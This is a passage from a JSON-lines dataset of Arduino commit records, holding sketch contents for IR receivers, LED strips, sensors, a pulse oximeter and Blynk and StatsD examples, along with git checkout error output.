<FilteredAnalogInput.h>\n#include <IRremote2.h>\n\nint input_pin = A0; \/\/pin 23 on ATmega328\nint filter_size = 15; \/\/Noise reduction filter size\nint ir_pin = 8; \/\/D8 which is pin 14 on ATmega\nint output_pin = 9; \/\/pin 15 on ATmega\n\n\/\/FilteredAnalogInput input(input_pin, filter_size);\n\nIRrecv irrecv(ir_pin);\n\ndecode_results results;\nvoid setup()\n{\n Serial.begin(9600);\n irrecv.enableIRIn(); \/\/ Start the receiver\n}\n int output_val = 0;\nvoid loop()\n{\n \n if (irrecv.decode(&results)) {\n\n switch(results.value){\n case 0x001:\n output_val = 0;\n break;\n \n case 0x002:\n output_val = 1 * 32 + 16;\n break;\n \n case 0x004:\n output_val = 2 * 32 + 16;\n break;\n\n case 0x008:\n output_val = 3 * 32 + 16;\n break;\n\n case 0x010:\n output_val = 4 * 32 + 16;\n break;\n\n case 0x020:\n output_val = 5 * 32 + 16;\n break;\n\n case 0x040:\n output_val = 6 * 32 + 16;\n break;\n\n case 0x080:\n output_val = 255;\n break;\n }\n Serial.println(output_val);\n \/\/\n irrecv.resume(); \/\/ Receive the next value\n }\n delay(100);\n analogWrite(output_pin, output_val);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Modules\/Sensor\/Receiver\/ArduinoCodes\/ReceiverATmega\/ReceiverATmega.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0a9211ddd1ce520fd0a2340c255f722cafc18c9b","subject":"Removed non-functional RF code.","message":"Removed non-functional RF code.\n","repos":"ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha","old_file":"nduino\/controller\/src\/src.ino","new_file":"nduino\/controller\/src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ekwoodrich\/nirha.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f382769ac8304fdff5a4a642884c1676fcb920f5","subject":"Create VL53L1X_FastLED.ino","message":"Create VL53L1X_FastLED.ino\n","repos":"cacheflowe\/haxademic,cacheflowe\/haxademic,cacheflowe\/haxademic,cacheflowe\/haxademic,cacheflowe\/haxademic,cacheflowe\/haxademic","old_file":"arduino\/VL53L1X_FastLED\/VL53L1X_FastLED.ino","new_file":"arduino\/VL53L1X_FastLED\/VL53L1X_FastLED.ino","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ FastLED: Control (5v) WS2812 RGB LED Modules in a strip\n\/\/ -------------------------------------------------------\n\/\/ Wiring info: https:\/\/learn.adafruit.com\/digital-led-strip\/wiring\n\/\/ -5V = 5V\n\/\/ -GND = GND\n\/\/ -DIN = Digital 2\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ LED library includes\n#include <FastLED.h>\n#define DATA_PIN 2\n\n\/\/ lights config\n#define NUM_LEDS 100\nCRGB leds[NUM_LEDS];\n\n\/\/ interval between hardware updates\nstatic unsigned long lastLEDTime = 0;\nconst long ledInterval = 16;\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ VL53L1X: Read distance from sensor in mm\n\/\/ ----------------------------------------\n\/\/ Wiring info: https:\/\/learn.adafruit.com\/adafruit-vl53l0x-micro-lidar-distance-sensor-breakout\/arduino-code\n\/\/ VIN -> VIN\n\/\/ GND -> GND\n\/\/ SCL -> SCL || A5\n\/\/ SDA -> SDA || A4\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ sensor library includes\n#include <Wire.h>\n#include <VL53L1X.h>\n\n\/\/ sensor object\nVL53L1X sensor;\nint sensorMM = 0;\n\n\/\/ interval between hardware updates\nstatic unsigned long lastSensorTime = 0;\nconst long sensorInterval = 100;\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Main app:\n\/\/ Read VL53L1X data and use it to light up WS2812 LEDs\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nunsigned long now;\n\nvoid setup() {\n initSerial();\n initSensor();\n initLEDs();\n}\n\nvoid loop() {\n now = millis(); \/\/ get durrent time. usually a single device interface would use something like `delay(100)`\n updateSensor();\n updateLEDs();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Make serial connection for logging to Serial Monitor\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid initSerial() {\n \/\/ Connect to serial so we can watch debug values\n Serial.begin(115200);\n Serial.setTimeout(0);\n Serial.println(\"<Arduino is ready>\");\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Sensor communication\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid initSensor() {\n Serial.println(\"mVL53L1X initializing\");\n Wire.begin();\n Wire.setClock(400000); \/\/ use 400 kHz I2C\n\n \/\/ Attempt to initialize the sensor library\n sensor.setTimeout(500);\n if (!sensor.init()) {\n Serial.println(F(\"Failed to detect and initialize VL53L1X\"));\n while (1);\n } else {\n Serial.println(\"VL53L1X API Started\"); \n }\n\n \/\/ Configure the sensor \n sensor.setDistanceMode(VL53L1X::Long);\n sensor.setMeasurementTimingBudget(50000);\n sensor.startContinuous(50);\n Serial.println(\"VL53L1X API Configured\"); \n}\n\nvoid updateSensor() {\n \/\/ set delay between updates\n if (now < lastSensorTime + sensorInterval) return;\n lastSensorTime = now;\n\n int distanceMM = sensor.read();\n if (sensor.timeoutOccurred()) { \n Serial.println(F(\"VL53L0X error: Timeout\"));\n } else {\n Serial.println(\"Dist (mm): \"+String(distanceMM));\n sensorMM = distanceMM;\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ LED communication\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid initLEDs() {\n FastLED.addLeds<WS2812B, DATA_PIN>(leds, NUM_LEDS);\n}\n\nvoid updateLEDs() {\n \/\/ set delay between updates\n if (now < lastLEDTime + ledInterval) return;\n lastLEDTime = now;\n\n \/\/ update all LEDs every frame\n int numToLight = sensorMM \/ 10;\n for(int i = 0; i < NUM_LEDS; i++) {\n \/\/ are we below threshold or not?\n if(i < numToLight) {\n leds[i] = CRGB(10, 10, 10); \/\/ CRGB::White;\n } else {\n leds[i] = CRGB::Black;\n }\n }\n\n \/\/ Show the leds (only one of which is set to white, from above)\n FastLED.show();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/VL53L1X_FastLED\/VL53L1X_FastLED.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c978a3e06343454dec106b01bbf961c4969fae3b","subject":"Updated files","message":"Updated files\n\nUpdated files to current version\n","repos":"dklilley\/FeatherLogger_Arduino","old_file":"FeatherLogger_v0.1\/FeatherLogger_v0.1.ino","new_file":"FeatherLogger_v0.1\/FeatherLogger_v0.1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dklilley\/FeatherLogger_Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2eb75e884da669c92e4606974bb848ee0bb2e172","subject":"Added internal voltage sample code","message":"Added internal voltage sample code\n","repos":"Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network","old_file":"Sensor_Tests\/Secret_Sensors\/secret_arduino_voltage.ino","new_file":"Sensor_Tests\/Secret_Sensors\/secret_arduino_voltage.ino","new_contents":"long readVcc() {\n long result;\n \/\/ Read 1.1V reference against AVcc\n ADMUX = _BV(REFS0) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n delay(2); \/\/ Wait for Vref to settle\n ADCSRA |= _BV(ADSC); \/\/ Convert\n while (bit_is_set(ADCSRA,ADSC));\n result = ADCL;\n result |= ADCH<<8;\n result = 1125300L \/ result; \/\/ Back-calculate AVcc in mV\n return result;\n}\n\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n Serial.println( readVcc(), DEC );\n delay(1000);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sensor_Tests\/Secret_Sensors\/secret_arduino_voltage.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"ee1a517814a60053d25e32f508c970a54ecc70a4","subject":"adding lesson 2 mode-switch routine","message":"adding lesson 2 mode-switch routine\n","repos":"sbma44\/arduino_class","old_file":"lesson-2\/simple_digital_input_modes.ino","new_file":"lesson-2\/simple_digital_input_modes.ino","new_contents":"int buttonPin = 4;\n\nint ledPin_R = 13;\nint ledPin_G = 12;\nint ledPin_B = 11;\n\nint currentPinMode = 0;\n\nvoid setup() {\n \/\/ set pin 4 for input, pin 11-13 for output\n pinMode(buttonPin, INPUT);\n pinMode(ledPin_R, OUTPUT);\n pinMode(ledPin_G, OUTPUT);\n pinMode(ledPin_B, OUTPUT);\n\n \/\/ turn off all those LEDs by setting them HIGH \n digitalWrite(ledPin_R, HIGH);\n digitalWrite(ledPin_G, HIGH);\n digitalWrite(ledPin_B, HIGH);\n}\n\nvoid loop() {\n \/\/ read input\n int reading = digitalRead(buttonPin);\n\n \/\/ advance our mode by 1!\n if (reading==HIGH){\n currentPinMode = currentPinMode + 1;\n if (currentPinMode>3) {\n currentPinMode = 0;\n }\n }\n \n switch (currentPinMode) {\n case 0: \/\/ red\n digitalWrite(ledPin_R, LOW);\n digitalWrite(ledPin_G, HIGH);\n digitalWrite(ledPin_B, HIGH);\n break;\n \n case 1: \/\/ green \n digitalWrite(ledPin_R, HIGH);\n digitalWrite(ledPin_G, LOW);\n digitalWrite(ledPin_B, HIGH);\n break;\n \n case 2: \/\/ blue\n digitalWrite(ledPin_R, HIGH);\n digitalWrite(ledPin_G, HIGH);\n digitalWrite(ledPin_B, LOW);\n break; \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'lesson-2\/simple_digital_input_modes.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2b494cc9d445dfb71da261ef217576a800f46989","subject":"Add key event message","message":"Add key event message\n","repos":"mvines\/futboard","old_file":"gen3\/gen3.ino","new_file":"gen3\/gen3.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mvines\/futboard.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"f2dacfd9688131db09c02839452587ac91bd73f3","subject":"changed angledrive.ino to handle inverted motors","message":"changed angledrive.ino to handle inverted motors\n","repos":"sherrardTr4129\/SortME","old_file":"arduino code\/AngleDrive\/AngleDrive.ino","new_file":"arduino code\/AngleDrive\/AngleDrive.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino' did not match any file(s) known to git\nerror: pathspec 'code\/AngleDrive\/AngleDrive.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fb4ac8931df67220752f2d84521defb01c251bfc","subject":"Open loop on the top, closed on the bottom","message":"Open loop on the top, closed on the bottom\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b1080aca86b5d556fd2be615327b7e3ab9351371","subject":"Releasing v1.0.10","message":"Releasing v1.0.10\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"86d8579f366c1fe55f3ce7d6f2bd10ba725855f3","subject":"Pulse ox with software timer and state diagram working.","message":"Pulse ox with software timer and state diagram working.\n","repos":"adeeshag\/particle_project,adeeshag\/particle_project,adeeshag\/particle_project,adeeshag\/particle_project,adeeshag\/particle_project","old_file":"pulse_ox\/pulse_ox.ino","new_file":"pulse_ox\/pulse_ox.ino","new_contents":"float InputPin = A0; \/\/ Analog input pin from output of op amp\nfloat sensorVoltage = 0;\nfloat sensorCurrent = 0;\nfloat LEDCurrentRed = 0;\nfloat AbsorbanceRed = 0;\nfloat LEDCurrentIR = 0;\nfloat AbsorbanceIR = 0;\nfloat CalculatedRatio;\nfloat bloodOx = 0;\nint LEDRed=D0;\nint LEDIR=D1;\nbool red_state;\nbool ir_state;\nbool state_diag;\n\n#include<math.h>\n\n\/\/#define DEBUG_ON 1\n#define MULT_CONSTANT (3.3\/(15000000*4095))*1000000 \/\/150000000 is resistance\n#define LED_CURRENT 4.8\/1000 \/\/ 4.8V by 1k Ohms\n\n\/\/SYSTEM_MODE(MANUAL);\n\nTimer change_led_timer(3000, change_led_type);\n\/\/Timer change_ir_timer(6000, change_ir_type);\n\/\/Timer ir_timer(6000, read_ir_and_calc);\n\/\/Timer call_connect_timer(20000, call_connect);\n\nvoid setup() {\nSerial.begin(9600);\npinMode(LEDRed, OUTPUT);\npinMode(LEDIR, OUTPUT);\npinMode(InputPin, INPUT);\nred_state = false;\nir_state = true;\nstate_diag = true; \/\/ Init state\n\/\/ir_timer.start();\nchange_led_timer.start();\n\/\/change_ir_timer.start();\n\/\/call_connect_timer.start();\n}\n\nvoid loop() {\n \/\/ red_led_on and start red_timer\n if(red_state)\n {\n read_red_and_calc();\n red_state = false;\n ir_state = false;\n }\n\n if(ir_state)\n {\n read_ir_and_calc();\n red_state = false;\n ir_state = false;\n }\n \/\/else\n \/\/{\n \/\/ do nothing\n \/\/}\n} \/\/ loop\n\nvoid red_led_on()\n{\n digitalWrite(LEDIR, LOW); digitalWrite(LEDRed, HIGH);\n}\n\nvoid ir_led_on()\n{\n digitalWrite(LEDRed, LOW); digitalWrite(LEDIR, HIGH);\n}\n\nvoid read_red_and_calc()\n{\n ir_led_on();\n sensorVoltage = analogRead(InputPin);\n sensorCurrent = (sensorVoltage*MULT_CONSTANT);\n AbsorbanceRed = log10(sensorCurrent\/LED_CURRENT);\n#ifdef DEBUG_ON\n Serial.print(\"Voltage Red = \");\n Serial.println(sensorVoltage);\n Serial.print(\"Current Red = \");\n Serial.println(sensorCurrent);\n#endif\n}\n\nvoid read_ir_and_calc()\n{\n red_led_on();\n sensorVoltage = analogRead(InputPin);\n sensorCurrent = (sensorVoltage*MULT_CONSTANT);\n AbsorbanceIR = log10(sensorCurrent\/LED_CURRENT);\n#ifdef DEBUG_ON\n Serial.print(\"Voltage IR = \");\n Serial.println(sensorVoltage);\n Serial.print(\"Current IR = \");\n Serial.println(sensorCurrent);\n#endif\n CalculatedRatio = AbsorbanceRed\/(AbsorbanceIR + AbsorbanceRed);\n bloodOx = -30.667*CalculatedRatio*CalculatedRatio + 10*CalculatedRatio + 102.67;\n Serial.print(\"Blood Ox % = \" );\n Serial.println(bloodOx);\n}\n\nvoid change_led_type()\n{\n if(state_diag)\n {\n red_state = true;\n ir_state = false;\n }\n else\n {\n red_state = false;\n ir_state = true;\n }\n state_diag = !state_diag;\n}\n\nvoid call_connect()\n{\n Particle.connect();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'pulse_ox\/pulse_ox.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"cdec72a2f8679df280c1b1a692484983e90c88c5","subject":"minor RFID read update","message":"minor RFID read update\n","repos":"jcuroboclub\/Project-Mario,jcuroboclub\/Project-Mario","old_file":"RFID Station\/RFID_basicCardRead\/RFID_basicCardRead.ino","new_file":"RFID Station\/RFID_basicCardRead\/RFID_basicCardRead.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'RFID' did not match any file(s) known to git\nerror: pathspec 'Station\/RFID_basicCardRead\/RFID_basicCardRead.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4f9123dc40fbe842ba0ee9a27ee29f3acb2575ba","subject":"Add basic example","message":"Add basic example\n","repos":"aelse\/ArduinoStatsd","old_file":"examples\/statsd_basic\/statsd_basic.ino","new_file":"examples\/statsd_basic\/statsd_basic.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <WiFiUdp.h>\n\n#include <Statsd.h>\n\n\/\/ Create the UDP object and configure the StatsD client.\nWiFiUDP udp; \/\/ or EthernetUDP, as appropriate.\nStatsd statsd(udp, \"192.168.0.16\", 8125);\n\n\nvoid setup() {\n const char* ssid = \"my_wifi_ssid\";\n const char* wifi_password = \"my_wifi_password\";\n\n Serial.begin(115200);\n\n \/\/ Connect to Wifi.\n Serial.printf(\"\\n\\n\\nConnecting to %s \", ssid);\n WiFi.begin(ssid, wifi_password);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\" connected\");\n\n delay(100);\n\n \/\/ Once connected tell client to begin.\n statsd.begin();\n}\n\nvoid loop() {\n int val = random(20);\n \/\/ Emit a named metric with given value, some number of comma separated tags at a given sample rate.\n \/\/ metric: some.metric\n \/\/ value: val\n \/\/ tags: some_tag, whatever: 10\n \/\/ sample rate: 0 -> 1.0 (100%)\n statsd.gauge(\"some.metric\", val, \"some_tag,whatever=10\", 1.0);\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/statsd_basic\/statsd_basic.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3fab833f9162d0418046e3a25f5afffb814cd521","subject":"Optimise data types","message":"Optimise data types\n\nScope!","repos":"majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino","old_file":"build\/shared\/examples\/03.Analog\/Calibration\/Calibration.ino","new_file":"build\/shared\/examples\/03.Analog\/Calibration\/Calibration.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref 3fab833f9162d0418046e3a25f5afffb814cd521\nfatal: the remote end hung up unexpectedly\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"35c43899ec3b9d097248e5db6bc8cfd288a7a63a","subject":"Add Kevyn's original clear button sketch","message":"Add Kevyn's original clear button sketch\n","repos":"EndPointCorp\/appctl,EndPointCorp\/appctl","old_file":"sketches\/clearButtonReceiver.ino","new_file":"sketches\/clearButtonReceiver.ino","new_contents":"\n\n\/*\n\n Kevyn McPhail\n Deeplocal\n FOB Receiving module code\n\n If Button A is pressed the the arduino returns 1, if button 2 is pressed the arduino returns 2\n Button A input is PIN 3, Button B input is PIN 2, and the momentary button press input is PIN 4.\n On the R02A receiving module, Button A is output D2, Button B is output D3, Momentary button press\n is output VT.\n\n Hardware: Sparkfun Pro Micro 5V\/16MHz\n\n*\/\n\nvoid setup(){\n Serial.begin(9600);\n for (int i = 2; i<5; i++){\n pinMode(i, INPUT);\n }\n}\n\nint firstPin;\nint secondPin;\nint thirdPin;\n\n\n\nvoid loop(){\n firstPin = digitalRead(3);\n secondPin = digitalRead(2);\n thirdPin = digitalRead(4);\n\n if (firstPin == 1 & secondPin == 0 & thirdPin == 1) {\n Serial.println(1);\n delay(200);\n }\n if (firstPin == 0 & secondPin == 1 & thirdPin == 1) {\n Serial.println(2);\n delay(200);\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/clearButtonReceiver.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"907e2ed0bd79fec207ee5f23747fd35e26cd6aaa","subject":"added strumming direction","message":"added strumming direction\n","repos":"andydrop\/klampfinator,andydrop\/klampfinator","old_file":"src\/campfireXL\/campfireXL.ino","new_file":"src\/campfireXL\/campfireXL.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/andydrop\/klampfinator.git\/'\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"9391d1d8bf13375da6e8b8f4148ade64c2e59d42","subject":"Expand json","message":"Expand json\n","repos":"johan--\/blynk-library,CedricFinance\/blynk-library,csicar\/blynk-library,johan--\/blynk-library,ivankravets\/blynk-library,okhiroyuki\/blynk-library,johan--\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,okhiroyuki\/blynk-library,csicar\/blynk-library,ivankravets\/blynk-library,CedricFinance\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,CedricFinance\/blynk-library,sstocker46\/blynk-library,sstocker46\/blynk-library,al1271\/blynk-library,johan--\/blynk-library,csicar\/blynk-library,al1271\/blynk-library,CedricFinance\/blynk-library,sstocker46\/blynk-library,ivankravets\/blynk-library,al1271\/blynk-library,csicar\/blynk-library,blynkkk\/blynk-library,okhiroyuki\/blynk-library,al1271\/blynk-library,sstocker46\/blynk-library,okhiroyuki\/blynk-library","old_file":"examples\/BoardsAndShields\/ESP8266_DirectConnect\/ESP8266_DirectConnect.ino","new_file":"examples\/BoardsAndShields\/ESP8266_DirectConnect\/ESP8266_DirectConnect.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how to connect to ESP8266 directly\n * without using intermediate server.\n *\n * Please note: this example is for experienced users.\n * Use this wiring for improved stability:\n * https:\/\/github.com\/esp8266\/Arduino\/blob\/esp8266\/docs\/ESP_improved_stability.png\n * \n * !!!\n * NOTE: Blynk Apps currently do not support direct TCP connection.\n * Wait for new updates!\n *\n **************************************************************\/\n\n#define BLYNK_USE_DIRECT_CONNECT\n\/\/#define BLYNK_DEBUG\n#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include <ESP8266WiFi.h>\n#include <BlynkSimpleUserDefined.h>\n\n\/\/ Uncomment this to set WiFi to Access Point mode\n#define WIFI_MODE_AP\n\n\/\/ Set these to your credentials.\nconst char ssid[] = \"Blynk-AP\"; \/\/ WiFi name\nconst char password[] = \"12345678\"; \/\/ WiFi password\n\n\/\/ Set port of the server\nconst int port = 8442;\n\n\/\/ Auth token doesn't matter with direct-connect\nchar auth[] = \"\";\n\n\/\/ Description of the dashboard\nchar profile[] = R\"json(\n {\n \"dashBoards\": [\n {\n \"id\": 1,\n \"name\": \"Direct connect\",\n \"boardType\": \"ESP8266\",\n \"widgets\": [\n {\n \"id\": 2,\n \"type\": \"DIGIT4_DISPLAY\",\n \"pinType\": \"VIRTUAL\",\n \"pin\": 9,\n \"x\": 5,\n \"y\": 1,\n \"frequency\": 1000\n },\n {\n \"id\": 3,\n \"type\": \"BUTTON\",\n \"pinType\": \"VIRTUAL\",\n \"pin\": 1,\n \"x\": 2,\n \"y\": 1\n }\n ]\n }\n ]\n }\n)json\";\n\n\/\/ Virtual handlers for our widgets...\n\nBLYNK_READ(V9) {\n Blynk.virtualWrite(9, millis() \/ 1000);\n}\n\nBLYNK_WRITE(V1) {\n BLYNK_LOG(\"Button event\");\n}\n\n\/\/ Next goes the hard stuff: connection management, etc...\n\nWiFiServer server(port);\nWiFiClient client;\n\n\/\/ This function is used by Blynk to receive data\nsize_t BlynkStreamRead(void* buf, size_t len)\n{\n return client.readBytes((byte*)buf, len);\n}\n\n\/\/ This function is used by Blynk to send data\nsize_t BlynkStreamWrite(const void* buf, size_t len)\n{\n return client.write((byte*)buf, len);\n}\n\nvoid setup()\n{\n delay(1000);\n \/\/ Setup your connection here.\n Serial.begin(9600);\n Serial.println();\n\n Blynk.begin(auth);\n Blynk.setProfile(profile);\n\n#ifdef WIFI_MODE_AP\n BLYNK_LOG(\"Configuring WiFi access point: %s\", ssid);\n WiFi.softAP(ssid, password);\n Serial.print(\"AP IP address: \");\n Serial.println(WiFi.softAPIP());\n#else\n BLYNK_LOG(\"Connecting to WiFi %s\", ssid);\n WiFi.begin(ssid, password);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println();\n Serial.print(\"STA IP address: \");\n Serial.println(WiFi.localIP());\n#endif\n\n server.begin();\n BLYNK_LOG(\"Listening on port: %d\", port);\n}\n\nvoid loop()\n{\n client = server.available();\n \/\/ Make sure that Blynk.run() is called\n \/\/ only when the connection is established\n if (client) {\n Serial.print(\"Client connected from \");\n Serial.print(client.remoteIP());\n Serial.print(\":\");\n Serial.println(client.remotePort());\n\n \/\/ Wait for connection\n unsigned long start = millis();\n while (!client.connected() && (millis() - start < 1000)) {\n delay(5);\n }\n\n \/\/ Go!!!\n Blynk.startSession();\n while (client.connected()) {\n \/\/ Okay, handle Blynk protocol\n bool hasIncomingData = (client.available() > 0);\n \/\/ Tell Blynk if it has incoming data\n \/\/ (this allows to skip unneeded BlynkStreamRead calls)\n if (!Blynk.run(hasIncomingData)) {\n Serial.print(\"Error happened or disconnected.\");\n break;\n }\n }\n client.stop();\n Serial.println(\"Client disconnected.\");\n }\n}\n\n","old_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how to connect to ESP8266 directly\n * without using intermediate server.\n *\n * Please note: this example is for experienced users.\n * Use this wiring for improved stability:\n * https:\/\/github.com\/esp8266\/Arduino\/blob\/esp8266\/docs\/ESP_improved_stability.png\n * \n * !!!\n * NOTE: Blynk Apps currently do not support direct TCP connection.\n * Wait for new updates!\n *\n **************************************************************\/\n\n#define BLYNK_USE_DIRECT_CONNECT\n\/\/#define BLYNK_DEBUG\n#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include <ESP8266WiFi.h>\n#include <BlynkSimpleUserDefined.h>\n\n\/\/ Uncomment this to set WiFi to Access Point mode\n#define WIFI_MODE_AP\n\n\/\/ Set these to your credentials.\nconst char ssid[] = \"Blynk-AP\"; \/\/ WiFi name\nconst char password[] = \"12345678\"; \/\/ WiFi password\n\n\/\/ Set port of the server\nconst int port = 8442;\n\n\/\/ Auth token doesn't matter with direct-connect\nchar auth[] = 